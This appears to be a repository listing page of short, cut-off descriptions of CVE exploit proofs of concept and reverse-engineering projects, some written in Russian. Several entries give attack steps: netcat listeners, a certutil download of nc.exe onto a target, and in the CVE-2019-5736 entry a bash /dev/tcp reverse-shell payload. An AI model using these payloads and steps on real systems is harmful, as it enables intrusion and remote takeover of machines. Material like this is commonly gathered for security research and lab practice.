CVE-2019-15107

CVE-2019-15107 https://www.cvedetails.com/cve/CVE-2019-15107/ An issue was discovered in Webmin =1.920. The parameters "old" and "expire" in passwordchange.cgi contain a command injection vulnerability. Usage 1. Start a listener on red box. rlwrap -cAr nc -lvp 1919 2. Run the exploit ./exploit.sh...

CVE-2014-6271-SHELLSHOCK

CVE-2014-6271-SHELLSHOCK 🐚 Скрипт эксплуатации Shellshock 🎯💻🔍 Этот Python-скрипт эксплуатирует уязвимость Shellshock CVE-2014-6271 для удаленного выполнения команд или установки обратной оболочки на уязвимой цели. 🛠️⚠️ ⚠ Отказ от ответственности 🚨❗ Этот скрипт предназначен только для...

luadec-tplink

luadec-tplink Модифицированная версия luadec для декомпиляции LUA-прошивки TP-Link Archer C7. Работают не все опкоды, но этого всё ещё достаточно для реверс-инжиниринга...

Vision-MSI-Thermal-Control

Vision MSI Thermal Control MSI Modern 15H AI C1MG-096IT Linux thermal management - Reverse engineered EC control with fan profiles and battery threshold 🎯 Purpose of this Project This application was born out of necessity for MSI laptop users on Linux. The journey began when I discovered that...

CVE-2026-48172

📚 Educational Security Research Repository A repository for learning, testing, and researching cybersecurity concepts in controlled environments. ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authoriz...

cve-2018-9948-9958-exp

2018-9948-9958-exp "getshellcodefrommsf.py" is a python script to get shellcode from msfvenom, then copy the output to the exp.pdf replace the 'calc' shellcode block, and finally it works. Ooooops, it's a tcp reverse shellcode. a sample code is like this: python getshellcodefrommsf.py 192.168.1.7...

CVE-2023-27163---Maltrail-0.53---RCE

CVE-2023-27163---Maltrail-0.53---RCE Create by TheAlchimist cve-2023-27163-maltrail.py for reverse shell...

CVE-2015-8562

CVE-2015-8562 - Обратная оболочка на Python Эксплойт: Joomla 1.5 - 3.4.5 Object Injection RCE через заголовок X-Forwarded-For: Дата уязвимости: 17.12.2015 Автор эксплойта: anarc0der Версия: Joomla 1.5 - 3.4.5 CVE: CVE-2015-8562 Как использовать: Откройте один терминал и слушайте с помощью nc: $ n...

CVE-2019-0232

CGI RCE Exploit PoC for unauthenticated RCE via CGI batch endpoints. Downloads nc.exe to the target using certutil and triggers a reverse shell. Setup 1. Serve nc.exe in the same directory where nc.exe is: python3 -m http.server 80 2. Start your listener: nc -lvnp 1234 3. Run the exploit:...

CVE-2021-21220

First install: https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Winx64/848005/ Chrome version: 90.0.4403.0 install chrome-win.zip 1. node server.js run ./chrome.exe --no-sandbox go to localhost:8888 Note that the CVE which this exploits relies on is CVE...

CVE-2019-0232_tomcat_cgi_exploit

Apache Tomcat CGI Exploit Script Description A Python script designed to exploit CGI vulnerabilities in Apache Tomcat servers by executing a reverse shell connection. Usage Example Features Automated exploit for Apache Tomcat CGI vulnerabilities Customizable target and attacker parameters Simple...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Usage : machine is vulnerable to CVE-2019-5736, follow steps in Runc exploit CVE-2019-5736. Download file main.go, change the payload in the file into: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" After that, run: go build main.go Host a...

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE Alternative Approach: Reverse Shell & Callback Test Overview This repository contains alternative payload approaches for the InvokeAI RCE vulnerability CVE-2024-12029 when SSH key injection fails. The payloads are designed to test if...

byd-dolphin-hacking

🚗 BYD Dolphin Head Unit — Исследование и реверс-инжиниринг Реверс-инжиниринг, документация и инструменты для информационно-развлекательной системы BYD Dolphin 25/26 DiLink 3, Android 10. Всё здесь было обнаружено путём исследования через ADB, декомпиляции APK и анализа CAN-шины — проприетарная...

POC_react2shell_CVE-2025-55182

Next.js React Server Components RCE Exploit Exploits CVE-2025-55182 for remote code execution via prototype pollution. Author: Severian N.K. Description This tool exploits a prototype pollution vulnerability in Next.js applications using React Server Components, leading to Remote Code Execution...

LOGJ4_PocShell_CVE-2021-44228

log4j-shell-poc A Proof-Of-Concept for the recently found CVE-2021-44228 vulnerability. Recently there was a new vulnerability in log4j, a java logging library that is very widely used in the likes of elasticsearch, minecraft and numerous others. In this repository there is an example vulnerable...

htb-sau-exploit-chain

HTB Sau Exploit Chain — CVE-2023-27163 SSRF + Maltrail RCE Automation A Python exploit script that chains CVE-2023-27163 Server-Side Request Forgery in Request Baskets ≤ 1.2.1 with an unauthenticated Remote Code Execution vulnerability in Maltrail 0.53, delivering a reverse shell. Designed for th...

CVE-2023-422-Chamilo-LMS-RCE

Предварительные требования pip install requests Информация Python-скрипт использует уязвимость CVE-2023-422 для загрузки файла на сервер и использует этот файл для отправки обратной оболочки на слушатель netcat, и всё это можно сделать без аутентификации. Однако для успешного использования...

CVE-2023-27163-AND-Mailtrail-v0.53

Автоматический эксплойт Краткое описание Следующий эксплойт использует уязвимость SSRF в Requests Baskets v1.2.1 для перенаправления внутреннего приложения, работающего на 127.0.0.1:80, на внешнее приложение по пути /pwned. После перенаправления приложения Mailtrail v0.53 будет выполнена команда...

CVE-2026-20896-Gitea-Authentication-Bypass

CVE-2026-20896 - Gitea ≤1.26.2 Authentication Bypass 1. What is Gitea? Gitea is a lightweight, open-source Git hosting platform that allows organizations and developers to manage source code repositories, track issues, review changes, and collaborate on software projects. It provides functionalit...